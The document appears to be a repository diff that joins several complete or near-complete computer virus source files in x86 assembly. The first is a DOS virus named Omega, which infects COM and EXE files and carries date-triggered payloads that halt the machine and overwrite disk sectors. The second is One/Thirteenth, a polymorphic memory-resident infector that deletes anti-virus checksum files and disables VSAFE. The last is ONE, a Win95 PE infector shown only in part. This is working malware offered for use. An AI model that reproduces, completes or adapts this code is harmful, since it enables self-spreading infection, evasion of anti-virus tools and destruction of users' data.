jle skip00 ; If less that or equal, skip effect
call get_hour
cmp ax,0009h ; Did the function return 9?
jle skip00 ; If less that or equal, skip effect
cmp ax,000Fh ; Did the function return 15?
jge skip00 ; If greater than or equal, skip effect
jmp short strt00 ; Success -- skip jump
skip00: jmp end00 ; Skip the routine
strt00: mov cx,423Fh ; First argument is 16959
new_shot: push cx ; Save the current count
mov dx,0140h ; DX holds pitch
mov bx,0100h ; BX holds shot duration
in al,061h ; Read the speaker port
and al,11111100b ; Turn off the speaker bit
fire_shot: xor al,2 ; Toggle the speaker bit
out 061h,al ; Write AL to speaker port
add dx,09248h ;
mov cl,3 ;
ror dx,cl ; Figure out the delay time
mov cx,dx ;
and cx,01FFh ;
or cx,10 ;
shoot_pause: loop shoot_pause ; Delay a bit
dec bx ; Are we done with the shot?
jnz fire_shot ; If not, pulse the speaker
and al,11111100b ; Turn off the speaker bit
out 061h,al ; Write AL to speaker port
mov bx,0002h ; BX holds delay time (ticks)
xor ah,ah ; Get time function
int 1Ah ; BIOS timer interrupt
add bx,dx ; Add current time to delay
shoot_delay: int 1Ah ; Get the time again
cmp dx,bx ; Are we done yet?
jne shoot_delay ; If not, keep checking
pop cx ; Restore the count
loop new_shot ; Do another shot
mov si,0001h ; First argument is 1
push es ; Save ES
xor ax,ax ; Set the extra segment to
mov es,ax ; zero (ROM BIOS)
shl si,1 ; Convert to word index
mov word ptr [si + 03FEh],0 ; Zero COM port address
pop es ; Restore ES
end00: call get_month
cmp ax,0009h ; Did the function return 9?
jne skip01 ; If not equal, skip effect
call get_day
cmp ax,0004h ; Did the function return 4?
jle skip01 ; If less that or equal, skip effect
jmp short strt01 ; Success -- skip jump
skip01: jmp end01 ; Skip the routine
strt01: db 0EAh,000h,000h,0FFh,0FFh ; jmp far FFFFh:0000h
end01: call get_month
cmp ax,0001h ; Did the function return 1?
jne skip02 ; If not equal, skip effect
call get_day
cmp ax,0001h ; Did the function return 1?
jle skip02 ; If less that or equal, skip effect
call get_hour
cmp ax,000Fh ; Did the function return 15?
jge skip02 ; If greater than or equal, skip effect
jmp short strt02 ; Success -- skip jump
skip02: jmp end02 ; Skip the routine
strt02: mov bx,0001h ; First argument is 1
mov si,0002h ; Second argument is 2
push es ; Save ES
xor ax,ax ; Set the extra segment to
mov es,ax ; zero (ROM BIOS)
shl bx,1 ; Convert to word index
shl si,1 ; Convert to word index
mov ax,word ptr [bx + 03FEh]; Zero COM port address
xchg word ptr [si + 03FEh],ax; Put first value in second,
mov word ptr [bx + 03FEh],ax; and second value in first!
pop es ; Restore ES
end02: call get_month
cmp ax,000Bh ; Did the function return 11?
jne skip03 ; If not equal, skip effect
call get_day
cmp ax,0004h ; Did the function return 4?
jle skip03 ; If less that or equal, skip effect
call get_hour
cmp ax,000Fh ; Did the function return 15?
jge skip03 ; If greater than or equal, skip effect
jmp short strt03 ; Success -- skip jump
skip03: jmp end03 ; Skip the routine
strt03: int 018h ; Drop to ROM BASIC
end03: call get_month
cmp ax,000Ch ; Did the function return 12?
jne skip04 ; If not equal, skip effect
call get_day
cmp ax,0002h ; Did the function return 2?
jle skip04 ; If less that or equal, skip effect
cmp ax,0002h ; Did the function return 2?
jge skip04 ; If greater than or equal, skip effect
jmp short strt04 ; Success -- skip jump
skip04: jmp end04 ; Skip the routine
strt04: cli ; Clear the interrupt flag
hlt ; HaLT the computer
jmp short $ ; Just to make sure
end04: call get_year
cmp ax,07CDh ; Did the function return 1997?
jle skip05 ; If less that or equal, skip effect
call get_month
cmp ax,0001h ; Did the function return 1?
jne skip05 ; If not equal, skip effect
call get_hour
cmp ax,0005h ; Did the function return 5?
jle skip05 ; If less that or equal, skip effect
cmp ax,000Fh ; Did the function return 15?
jge skip05 ; If greater than or equal, skip effect
call get_second
cmp ax,0001h ; Did the function return 1?
jne skip05 ; If not equal, skip effect
jmp short strt05 ; Success -- skip jump
skip05: jmp end05 ; Skip the routine
strt05: mov si,offset data00 ; SI points to data
mov ah,0Eh ; BIOS display char. function
display_loop: lodsb ; Load the next char. into AL
or al,al ; Is the character a null?
je disp_strnend ; If it is, exit
int 010h ; BIOS video interrupt
jmp short display_loop ; Do the next character
disp_strnend:
end05: call get_year
cmp ax,07CDh ; Did the function return 1997?
jle skip06 ; If less that or equal, skip effect
call get_month
cmp ax,0001h ; Did the function return 1?
jle skip06 ; If less that or equal, skip effect
call get_hour
cmp ax,0009h ; Did the function return 9?
jle skip06 ; If less that or equal, skip effect
cmp ax,000Fh ; Did the function return 15?
jge skip06 ; If greater than or equal, skip effect
call get_second
cmp ax,0005h ; Did the function return 5?
jne skip06 ; If not equal, skip effect
jmp short strt06 ; Success -- skip jump
skip06: jmp end06 ; Skip the routine
strt06: mov ax,0002h ; First argument is 2
mov cx,423Fh ; Second argument is 16959
cli ; Disable interrupts (no Ctrl-C)
cwd ; Clear DX (start with sector 0)
int 026h ; DOS absolute write interrupt
sti ; Restore interrupts
end06: mov ax,04C00h ; DOS terminate function
int 021h
main endp
db 0FDh,0C8h,006h,0C6h,0DFh
search_files proc near
push bp ; Save BP
mov bp,sp ; BP points to local buffer
sub sp,135 ; Allocate 135 bytes on stack
mov byte ptr [bp - 135],'\' ; Start with a backslash
mov ah,047h ; DOS get current dir function
xor dl,dl ; DL holds drive # (current)
lea si,[bp - 134] ; SI points to 64-byte buffer
int 021h
call traverse_path ; Start the traversal
traversal_loop: cmp word ptr [path_ad],0 ; Was the search unsuccessful?
je done_searching ; If so then we're done
call found_subdir ; Otherwise copy the subdirectory
mov ax,cs ; AX holds the code segment
mov ds,ax ; Set the data and extra
mov es,ax ; segments to the code segment
xor al,al ; Zero AL
stosb ; NULL-terminate the directory
mov ah,03Bh ; DOS change directory function
lea dx,[bp - 70] ; DX points to the directory
int 021h
mov dx,offset com_mask ; DX points to "*.COM"
call find_files ; Try to infect a .COM file
jnc done_searching ; If successful the exit
mov dx,offset exe_mask ; DX points to "*.EXE"
call find_files ; Try to infect an .EXE file
jnc done_searching ; If successful the exit
jmp short traversal_loop ; Keep checking the PATH
done_searching: mov ah,03Bh ; DOS change directory function
lea dx,[bp - 135] ; DX points to old directory
int 021h
cmp word ptr [path_ad],0 ; Did we run out of directories?
jne at_least_tried ; If not then exit
stc ; Set the carry flag for failure
at_least_tried: mov sp,bp ; Restore old stack pointer
pop bp ; Restore BP
ret ; Return to caller
com_mask db "*.COM",0 ; Mask for all .COM files
exe_mask db "*.EXE",0 ; Mask for all .EXE files
search_files endp
traverse_path proc near
mov es,word ptr cs:[002Ch] ; ES holds the enviroment segment
xor di,di ; DI holds the starting offset
find_path: mov si,offset path_string ; SI points to "PATH="
lodsb ; Load the "P" into AL
mov cx,08000h ; Check the first 32767 bytes
repne scasb ; Search until the byte is found
mov cx,4 ; Check the next four bytes
check_next_4: lodsb ; Load the next letter of "PATH="
scasb ; Compare it to the environment
jne find_path ; If there not equal try again
loop check_next_4 ; Otherwise keep checking
mov word ptr [path_ad],di ; Save the PATH address for later
mov word ptr [path_ad + 2],es ; Save PATH's segment for later
ret ; Return to caller
path_string db "PATH=" ; The PATH string to search for
path_ad dd ? ; Holds the PATH's address
traverse_path endp
found_subdir proc near
lds si,dword ptr [path_ad] ; DS:SI points to the PATH
lea di,[bp - 70] ; DI points to the work buffer
push cs ; Transfer CS into ES for
pop es ; byte transfer
move_subdir: lodsb ; Load the next byte into AL
cmp al,';' ; Have we reached a separator?
je moved_one ; If so we're done copying
or al,al ; Are we finished with the PATH?
je moved_last_one ; If so get out of here
stosb ; Store the byte at ES:DI
jmp short move_subdir ; Keep transfering characters
moved_last_one: xor si,si ; Zero SI to signal completion
moved_one: mov word ptr es:[path_ad],si; Store SI in the path address
ret ; Return to caller
found_subdir endp
db 0BFh,0C0h,0BDh,072h,05Fh
find_files proc near
push bp ; Save BP
mov ah,02Fh ; DOS get DTA function
int 021h
push bx ; Save old DTA address
mov bp,sp ; BP points to local buffer
sub sp,128 ; Allocate 128 bytes on stack
push dx ; Save file mask
mov ah,01Ah ; DOS set DTA function
lea dx,[bp - 128] ; DX points to buffer
int 021h
mov ah,04Eh ; DOS find first file function
mov cx,00100111b ; CX holds all file attributes
pop dx ; Restore file mask
find_a_file: int 021h
jc done_finding ; Exit if no files found
call infect_file ; Infect the file!
jnc done_finding ; Exit if no error
mov ah,04Fh ; DOS find next file function
jmp short find_a_file ; Try finding another file
done_finding: mov sp,bp ; Restore old stack frame
mov ah,01Ah ; DOS set DTA function
pop dx ; Retrieve old DTA address
int 021h
pop bp ; Restore BP
ret ; Return to caller
find_files endp
db 0A9h,06Bh,0DAh,081h,0AFh
infect_file proc near
mov ah,02Fh ; DOS get DTA address function
int 021h
mov si,bx ; SI points to the DTA
mov byte ptr [set_carry],0 ; Assume we'll fail
cmp word ptr [si + 01Ch],0 ; Is the file > 65535 bytes?
jne infection_done ; If it is then exit
cmp word ptr [si + 025h],'DN' ; Might this be COMMAND.COM?
je infection_done ; If it is then skip it
cmp word ptr [si + 01Ah],(finish - start)
jb infection_done ; If it's too small then exit
mov ax,03D00h ; DOS open file function, r/o
lea dx,[si + 01Eh] ; DX points to file name
int 021h
xchg bx,ax ; BX holds file handle
mov ah,03Fh ; DOS read from file function
mov cx,4 ; CX holds bytes to read (4)
mov dx,offset buffer ; DX points to buffer
int 021h
mov ah,03Eh ; DOS close file function
int 021h
push si ; Save DTA address before compare
mov si,offset buffer ; SI points to comparison buffer
mov di,offset flag ; DI points to virus flag
mov cx,4 ; CX holds number of bytes (4)
rep cmpsb ; Compare the first four bytes
pop si ; Restore DTA address
je infection_done ; If equal then exit
mov byte ptr [set_carry],1 ; Success -- the file is OK
mov ax,04301h ; DOS set file attrib. function
xor cx,cx ; Clear all attributes
lea dx,[si + 01Eh] ; DX points to victim's name
int 021h
mov ax,03D02h ; DOS open file function, r/w
int 021h
xchg bx,ax ; BX holds file handle
push si ; Save SI through call
call encrypt_code ; Write an encrypted copy
pop si ; Restore SI
mov ax,05701h ; DOS set file time function
mov cx,[si + 016h] ; CX holds old file time
mov dx,[si + 018h] ; DX holds old file date
int 021h
mov ah,03Eh ; DOS close file function
int 021h
mov ax,04301h ; DOS set file attrib. function
xor ch,ch ; Clear CH for file attribute
mov cl,[si + 015h] ; CX holds file's old attributes
lea dx,[si + 01Eh] ; DX points to victim's name
int 021h
infection_done: cmp byte ptr [set_carry],1 ; Set carry flag if failed
ret ; Return to caller
buffer db 4 dup (?) ; Buffer to hold test data
set_carry db ? ; Set-carry-on-exit flag
infect_file endp
db 0F1h,0F6h,003h,06Bh,099h
get_day proc near
mov ah,02Ah ; DOS get date function
int 021h
mov al,dl ; Copy day into AL
cbw ; Sign-extend AL into AX
ret ; Return to caller
get_day endp
db 0CDh,005h,004h,026h,0CFh
get_hour proc near
mov ah,02Ch ; DOS get time function
int 021h
mov al,ch ; Copy hour into AL
cbw ; Sign-extend AL into AX
ret ; Return to caller
get_hour endp
db 0F3h,06Ah,0F8h,002h,08Ah
get_month proc near
mov ah,02Ah ; DOS get date function
int 021h
mov al,dh ; Copy month into AL
cbw ; Sign-extend AL into AX
ret ; Return to caller
get_month endp
db 0A8h,000h,015h,081h,0E7h
get_second proc near
mov ah,02Ch ; DOS get time function
int 021h
mov al,dh ; Copy second into AL
cbw ; Sign-extend AL into AX
ret ; Return to caller
get_second endp
db 03Fh,0FFh,089h,057h,0F2h
get_year proc near
mov ah,02Ah ; DOS get date function
int 021h
xchg cx,ax ; Transfer the year into AX
ret ; Return to caller
get_year endp
data00:
db "Says the OMEGA virus:"
db "It has been nice playing these games with you,
db "...but now it is all over."
db "[...I am the Alpha and the Omega, the begining and the end.]"
db "-Rev 22:6"
db "Your C drive is being raptured!"
db "[...It is finished...]"
db "-Rev 16:17"
db "____________"
db "/ \"
db "| |"
db "| |"
db "| |"
db "\ \ / /"
db "\______\ /______/"
db "Omega"
db "(The End)"
vcl_marker db "[VCL]",0 ; VCL creation marker
encrypt_code proc near
mov si,offset encrypt_decrypt; SI points to cipher routine
xor ah,ah ; BIOS get time function
int 01Ah
mov word ptr [si + 8],dx ; Low word of timer is new key
xor byte ptr [si],1 ;
xor byte ptr [si + 7],1 ; Change all SIs to DIs
xor word ptr [si + 10],0101h; (and vice-versa)
mov di,offset finish ; Copy routine into heap
mov cx,finish - encrypt_decrypt - 1 ; All but final RET
push si ; Save SI for later
push cx ; Save CX for later
rep movsb ; Copy the bytes
mov si,offset write_stuff ; SI points to write stuff
mov cx,5 ; CX holds length of write
rep movsb ; Copy the bytes
pop cx ; Restore CX
pop si ; Restore SI
inc cx ; Copy the RET also this time
rep movsb ; Copy the routine again
mov ah,040h ; DOS write to file function
mov dx,offset start ; DX points to virus
call finish ; Encrypt/write/decrypt
ret ; Return to caller
write_stuff: mov cx,finish - start ; Length of code
int 021h
encrypt_code endp
end_of_code label near
encrypt_decrypt proc near
mov si,offset start_of_code ; SI points to code to decrypt
mov cx,(end_of_code - start_of_code) / 2 ; CX holds length
xor_loop: db 081h,034h,00h,00h ; XOR a word by the key
inc si ; Do the next word
inc si ;
loop xor_loop ; Loop until we're through
ret ; Return to caller
encrypt_decrypt endp
finish label near
code ends
end main

View File

@ -0,0 +1,429 @@
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-Ä
; One/Thirteenth - coded by ûirogen [NuKE] on 02-23-95
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-Ä
; -Polymorphic, Memory-Resident, Parastic COM & EXE Infector
; -Deletes Invircible Signature Files from disk no matter what name
; they are under.
; -Also deletes ANTI-VIR.DAT, CHKLIST.MS, and CHKLIST.CPS.
; -Avoids Infecting InVircible Bait Files
; -Disables VSAFE/VWATCH if in memory
; -Avoids new format EXEs
; -Installs it's own INT 24h
; -EXE Id is: Checksum Not 0
; -COM Id is: Fourth byte 0
; -Resident Check: VSAFE/VWATCH API , ret:SI=0
;
; Polymorphism: ûiCE v0.3á /w JMPS ON & ANTI-TBSCAN CODE ON
;
;
;
cseg segment
assume cs: cseg, ds: cseg, es: cseg, ss: cseg
signal equ 0FA01h ; AX=signal/INT 21h/installation chk
vsafe_word equ 5945h ; magic word for VSAFE/VWATCH API
buf_size equ 170
vice_size equ 1761+buf_size
virus_size equ (offset vend-offset start)+VICE_SIZE
extrn _vice: near
org 0h
start:
int 3
call nx ; get relative offset
nx: mov si,sp ; no-heuristic
sub word ptr ss: [si],offset nx
mov bp,word ptr ss: [si]
add sp,2
push ds es ; save segments for EXE
inc si
mov ax,1000
add ax,signal-1000 ; no heuristics m0n
mov dx,vsafe_word
int 21h
or si,si
jz no_install ; if carry then we are
mov ax,ds ; PSP segment
dec ax ; mcb below PSP m0n
mov ds,ax ; DS=MCB seg
mov al,'Z' ; no heuristics
cmp byte ptr ds: [0],al ; Is this the last MCB in chain?
jnz no_install
sub word ptr ds: [3],((virus_size+1023)/1024)*64*2 ; alloc MCB
sub word ptr ds: [12h],((virus_size+1023)/1024)*64*2 ; alloc PSP
mov es,word ptr ds: [12h] ; get high mem seg
push cs
pop ds
mov si,bp
mov cx,virus_size/2+1
xor di,di
rep movsw ; copy code to new seg
xor ax,ax
mov ds,ax ; null ds
push ds
lds ax,ds: [21h*4] ; get 21h vector
mov es: word ptr old21+2,ds ; save S:O
mov es: word ptr old21,ax
pop ds
mov ds: [21h*4+2],es ; new int 21h seg
mov ds: [21h*4],offset new21 ; new offset
sub byte ptr ds: [413h],((virus_size+1023)*2)/1024 ;-totalmem
no_install:
pop es ds ; restore ES DS
xor ax,ax ; null regs
xor bx,bx
xor dx,dx
cmp cs: is_exe[bp],1
jz exe_return
lea si,org_bytes[bp] ; com return
mov di,0100h ; -restore first 4 bytes
mov cx,2
rep movsw
mov cx,100h ; jump back to 100h
push cx
_ret: ret
exe_return:
mov cx,ds ; calc. real CS
add cx,10h
add word ptr cs: [exe_jump+2+bp],cx
int 3 ; fix prefetch
db 0eah
exe_jump dd 0
is_exe db 0
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Main Infection Routine
;
infect_file:
push dx
pop si
push ds
xor ax,ax ; null ES
mov es,ax
lds ax,es: [24h*4] ; get INT 24h vector
mov cs: old_24_off,ax ; save it
mov cs: old_24_seg,ds
mov es: [24h*4+2],cs ; install our handler
mov es: [24h*4],offset new_24
pop ds
push es ; we'll need it later
push cs
pop es
mov ax,4300h ; get phile attribute
int 21h
mov ax,4301h ; null attribs
push ax cx ; save AX-call/CX-attrib
xor cx,cx
int 21h
mov ax,3d02h ; open the file
int 21h
jc dont_do
mov bx,ax ; get handle
push cs
pop ds
mov ah,3fh ; Read first bytes of file
mov cx,20h
lea dx,org_bytes
int 21h
call kill_anti_virus ; kill validation filez
cmp byte ptr org_bytes,'M'
jz do_exe
cmp byte ptr org_bytes,90h ; InVircible bait?
jz close
cmp byte ptr org_bytes+3,0
jz close
mov is_exe,0
mov ax,5700h ; get time/date
int 21h
push cx dx
call offset_end
push ax ; AX=end of file
lea si,start ; DS:SI=start of code to encrypt
mov di,virus_size ; ES:DI=address for decryptor/
push di ; encrypted code. (at heap)
mov cx,virus_size ; CX=virus size
mov dx,ax ; DX=EOF offset
add dx,100h ; DX=offset decryptor will run from
mov al,00001111b ; jmps,anti-tbscan, garbage, no CS:
call _vice ; call engine!
pop dx
mov ah,40h
int 21h
call offset_zero
pop ax ; restore COM file size
sub ax,3 ; calculate jmp offset
mov word ptr new_jmp+1,ax
lea dx,new_jmp
mov cx,4
mov ah,40h
int 21h
pop dx cx ; pop date/time
mov ax,5701h ; restore the mother fuckers
int 21h
close:
pop cx ax ; restore attrib
int 21h
mov ah,3eh
int 21h
dont_do:
pop es ; ES=0
lds ax,dword ptr old_24_off ; restore shitty DOS error handler
mov es: [24h*4],ax
mov es: [24h*4+2],ds
ret
do_exe:
cmp word ptr exe_header[12h],0 ; is checksum (in hdr) 0?
jnz close
cmp byte ptr exe_header[18h],52h ; pklite'd?
jz exe_ok
cmp byte ptr exe_header[18h],40h ; don't infect new format exe
jge close
exe_ok:
push bx
mov ah,2ch ; grab a random number
int 21h
mov word ptr exe_header[12h],dx ; mark that it's us
mov is_exe,1
les ax,dword ptr exe_header+14h ; Save old entry point
mov word ptr ds: exe_jump, ax
mov word ptr ds: exe_jump+2, es
push cs
pop es
call offset_end
push dx ax ; save file size DX:AX
mov bx, word ptr exe_header+8h ; calc. new entry point
mov cl,4 ; *16
shl bx,cl ; ^by shifting one byte
sub ax,bx ; get actual file size-header
sbb dx,0
mov cx,10h ; divide AX/CX rDX
div cx
mov word ptr exe_header+14h,dx
mov word ptr exe_header+16h,ax
mov rel_off,dx
pop ax ; AX:DX file size
pop dx
pop bx
mov cx,virus_size+10h ; calc. new size
adc ax,cx
mov cl,9 ; calc new alloc (512)
push ax
shr ax,cl
ror dx,cl
stc
adc dx,ax
pop ax ; ax=size+virus
and ah,1
mov word ptr exe_header+4h,dx
mov word ptr exe_header+2h,ax
lea si,start ; DS:SI=start of code to encrypt
mov di,virus_size ; ES:DI=address for decryptor and
push di ; encrypted code (at heap)
mov cx,virus_size ; CX=virus size
mov dx,rel_off ; DX=offset decryptor will run from
mov al,00001110b ; jmps,anti-tbscan,garbage, use CS:
call _vice ; call engine!
pop dx
mov ah,40h
int 21h
call offset_zero
mov cx,18h ; write fiXed header
lea dx,exe_header
mov ah,40h
int 21h
jmp close
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; set file ptr
offset_zero: ; self explanitory
xor al,al
jmp set_fp
offset_end:
mov al,02h
set_fp:
mov ah,42h
xor cx,cx
xor dx,dx
int 21h
ret
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Kill ANTI-VIR.DAT, CHKLIST.MS, CHKLIST.CPS, and Invircible's signature files
;
kill_anti_virus:
push bx
mov ah,1ah ; set DTA
lea dx,ff_info
int 21h
mov cx,16h ; include all attribs
lea dx,inv_spec
mov ah,4eh
int 21h ; findfirst
jnc inv_loop
jmp inv_done
inv_loop:
lea si,f_name
push si
mov dx,si
cmp word ptr [si+4],'V-' ; ANTI-VIR.DAT?
jz is_anti
cmp word ptr [si+8],'SM' ; CHKLIST.MS?
jz is_anti
cmp word ptr [si+8],'PC' ; CHKLIST.CPS?
jz is_anti
cmp f_sizeh,0 ; high word set?
jnz findnext
cmp f_sizel,10000 ; > 10000 bytes?
jg findnext
mov ax,3d00h
int 21h
jc findnext
xchg ax,bx
mov ah,3fh
mov cl,2
lea dx,inv_word
int 21h
mov ah,3eh
int 21h
mov ax,word ptr inv_word
mov cl,4
lea si,false_struct
test_false: ; test for false positives
cmp ax,[si]
jz findnext
inc si
inc si
loop test_false
xor al,ah ; xor first byte by second
lea si,iv_struct
mov cl,6
test_iv: ; test if invircible
cmp al,[si]
jz is_anti
inc si
loop test_iv
jmp findnext
is_anti:
mov ax,4301h ; reset attribs
xor cx,cx
int 21h
mov ah,41h
lea dx,f_name
int 21h
findnext:
mov al,0 ; null out filename
pop di ; di-> fname
mov cl,13
rep stosb
mov ah,4fh
int 21h
jc inv_done
jmp inv_loop
inv_done:
pop bx
ret
inv_word dw 0
inv_spec db '*.*',0
iv_struct db 5Fh,1Bh,0C4h,17h,3Dh,8Ah ; Inv Positives
false_struct dw 'ZM' ; EXE Header
dw 'KP' ; PKZIP archive
dw 0EA60h ; ARJ archive
dw 'ER' ; REM in batch files
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; new 21h
new21:
pushf
cmp ax,signal ; be it us?
jnz nchk ; richtig..
cmp dx,vsafe_word
jnz nchk
xor si,si
mov di,4559h
jmp jmp_org
nchk: cmp ax,4b00h ; execute phile?
jnz jmp_org
push ax bx cx di dx si ds es
call infect_file
pop es ds si dx di cx bx ax
jmp_org:
popf
db 0eah ; jump far XXXX:XXXX
old21 dd 0
new_24: ; critical error handler
mov al,3 ; prompts suck, return fail
iret
credits db 'One/Thirteenth, coded by ûirogen [NuKE]'
new_jmp db 0E9h,0,0,0 ; jmp XXXX,0
rel_off dw 0
exe_header:
org_bytes db 0CDh,20h,0,0 ; original COM bytes | exe hdr
vend: ; end of virus on disk .. heap
db 16h dup(0) ; remaining exe header space
old_24_off dw 0 ; old int24h vector
old_24_seg dw 0
ff_info db 26 dup(0)
f_sizel dw 0
f_sizeh dw 0
f_name db 13 dup(0)
cseg ends
end start

View File

@ -0,0 +1,701 @@
; ONE V1.0b By JFK/SGWW
;
;
; ONE is not only my first Win95 virus, but also my first virus
; which I have released. I'm not really all that proud of it,
; cause it didn't turn out at all to be what I had expected. But hey,
; maybe next time :) Hmmm, this virus really has no chance of
; spreading because it never moves out of its current directory.
; It's more or less just a learning experience.
;
; Features:
; * File Mapping (though it's sorta pointless because off all
; the normal reads)
; * Capable of infecting read only files.
; * Only increases a files size if it has to.
; * LOTS O' COMMENTS!!!! :-)
;
; Description:
; One will look in the current directory for *.exe files until
; it finds one that it should/can infect or until there are no
; more exe files. When a exe file is found, One reads in the PE
; header, and object table. One closes the file and looks for
; the next exe file if it determines the current file has already
; been infected. If the file has not been infected, One figures
; out all the new sizes of objects and stuff like that for the
; host. One then maps the file to memory, fills in the new PE
; header, object table, and appends the virus code to the end of
; the last object. One then unmaps the file, and closes it which
; automatically saves the changes made while mapped. One then
; starts all over looking for more *.exe files, if one is not found,
; control is given to the host's original entry point.
;
; Notes:
; * ONE will NOT work on WinNT
; * First generations crash. (because OldEA is 0)
; * Some code was taken from Mr. Klunky by DV8 and Yurn by Virogen.
;
; Greetz:
; Dakota: Your web page looks pretty nice!
; #virus & #vir (undernet): hiya :)
; SGWW: Thanx for accepting me as one of you.
; paw: Watch out pal, I've been practicing my trivia!
; RAiD: alt.comp.virus.raid-vs-avers??? :)
; Yesna: Did you forget your password on X? You never have ops! =)
; Opic: Did you find any good BBS's yet!?!? heheh
; LovinGod: You need a book on winsock bro! ;)
; Virogen: Ok, so this is not exactly the kernel infector I was talking about.
; Gloomy: ne ebi mozgi! :))))
;
; Assemble with:
; tasm32 -ml -m5 -q -zn one.asm
; tlink32 -Tpe -c -x -aa one,,, import32
; pewrsec one.exe
.386p
.model flat
include Win32API.inc
v_size equ v_end - v_start ;Virus absolute size in filez.
extrn ExitProcess :proc
.data
db ? ;Some dummy data so tlink32 dont yell.
.code
v_start:
push eax ;Save room for old Entry Point.
pushad ;Save registers.
add esp, 36d ;ESP->After saved registers+4.
call OldTrick ;Get delta offset.
OldTrick: pop ebp
sub ebp, offset OldTrick ;EBP = delta offset.
mov eax, [ebp+OldEA] ;Address for return.
push eax ;Save it.
sub esp, 32d ;Fix stack.
mov eax, 15d
mov [ebp+lpfGetProcAddress], eax
findK32PEHeader:
mov edi, 0BFF6FFFFh ;Will be inc'ed later
mov ecx, 00000300h ;Scan this many bytes.
mov eax, 00004550h ;Scan for "PE\0\0".
F_PE_I_Edi:
inc edi
Find_PE:
repne scasb ;Repeat while not equal, scan byte.
jne RestoreHost ;Bomb if not found.
cmp [edi-1], eax ;Is this dword "PE/0/0"?
jne Find_PE ;Nope, continue scanning.
dec edi ;EDI was +1 off from Repne Scasb
mov bx, word ptr [edi+16h] ;Get characteristics word.
and bx, 0F000h ;Unmask the bytes we need.
cmp bx, 2000h ;Is it 2000h (a DLL)?
jne F_PE_I_Edi ;It's not a Dll, so it cant be the Kernel.
mov eax, [edi+34h] ;EAX = Image Base (or Image Handle)
mov [ebp+K32Base], eax ;Save Image base.
mov ebx, [edi+78h] ;Get RVA of Export Table.
add ebx, [ebp+K32Base] ;Add Base Address.
mov edi, [ebx+20h] ;EDI=RVA Export Name Table Pointers.
add edi, [ebp+K32Base] ;Add Base Address.
;Determine offset for unnamed functions.
mov ecx, [ebx+14h] ;Number of functions...
sub ecx, [ebx+18h] ;...less number of names...
mov eax, 4 ;...times by four.
mul ecx ;Do it.
mov [ebp+UnnamedOffset], eax ;Save it.
;Calculate number of double words in string pointer array.
mov ecx, [ebx+18h] ;Number of names...
mov eax, 4 ;...times by four.
mul ecx ;Do it.
xchg ecx, eax ;CX=Num dwords.
mov edx, edi ;Mul fucked up EDX,EDX=start of array.
CheckFunctionName:
sub ecx, 4 ;Next name.
mov edi, edx ;Base address...
add edi, ecx ;...plus array index.
mov edi, [edi] ;Get RVA of name.
add edi, [ebp+K32Base] ;Add base address.
lea esi, [ebp+lpfGetProcAddress] ;GetProcAddress record.
lea eax, [ebp+lpfGetProcAddress] ;Save entry point here.
call ExtractAbsoluteAddress ;Check this name for it.
cmp ecx, 0 ;Checked all the names?
jne CheckFunctionName ;Nope. Check the next name.
cmp [ebp+lpfGetProcAddress], 00h ;Did we get it?
je RestoreHost ;Nope! :(
;Get all of our needed API offsets from memory.
lea esi, [ebp+ImportTable] ;Start of stucture for offsets.
mov edx, esi ;Same.
GFO_NextChar:
mov bl, [edx] ;bl = next char in table.
cmp bl, 0 ;Is it 0?
je GFO_ItsZero ;Yeah.
cmp bl, '-' ;Is it the end of the table?
je After_GFO ;Yeah, continue.
inc edx ;Next char.
jmp GFO_NextChar ;Loop.
GFO_ItsZero:
inc edx ;EDX -> where offset will go.
mov eax, esi ;EAX -> function name.
push edx ;Save EDX.
call MyGetProcAddress ;Get this function's offset.
jc RestoreHost ;Quit on fail.
pop edx ;Restore EDX.
mov [edx], eax ;Save offset.
add edx, 4 ;EDX -> next functions name.
mov bl, [edx] ;BL = first char of name.
cmp bl, '-' ;Are we done yet?
je After_GFO ;Yep.
mov esi, edx ;ESI -> Next functions name.
inc edx ;Check next char.
jmp GFO_NextChar ;Do it.
After_GFO:
;Look for FIRST *.exe file.
lea eax, [ebp+FoundFileData] ;Where to store results.
push eax
lea eax, [ebp+lpsExeFiles] ;Name of files to look for.
push eax
call [ebp+lpfFindFirstFileA] ;Direct API call.
;On return, if a file with the name is found, eax = the handle,
;otherwise eax=FFFFFFFF
cmp eax, 0FFFFFFFFh ;No file found?
je RestoreHost ;No more exe files in this folder.
mov [ebp+FoundFileHandle], eax ;Save handle.
MainLoop:
call ReadInPEHeader ;Read in the files PE header.
cmp ebx, 0 ;Did we fail?
je FindNextFile ;Next file on failure.
call SetNOAttribs ;Remove files attributes.
jc FindNextFile ;Couldnt set attributes.
call OpenFile ;Open the file.
jc FindNextFile ;Couldnt open file.
call MapFile ;Map this file into memory
jc MapFailed ;Couldn't map file.
call InfectFile ;Infect it.
push dword ptr [ebp+MapBaseAddr]
call [ebp+lpfUnmapViewOfFile] ;Unmap this file from memory.
MapFailed:
call CloseFile ;Close the file.
call RestoreAttribs ;Restore the original attributes.
FindNextFile:
lea eax, [ebp+FoundFileData] ;Where to store results.
push eax
push dword ptr [ebp + offset FoundFileHandle]
;Handle from previous searches.
call [ebp+lpfFindNextFileA] ;Do it.
or eax, eax ;Success?
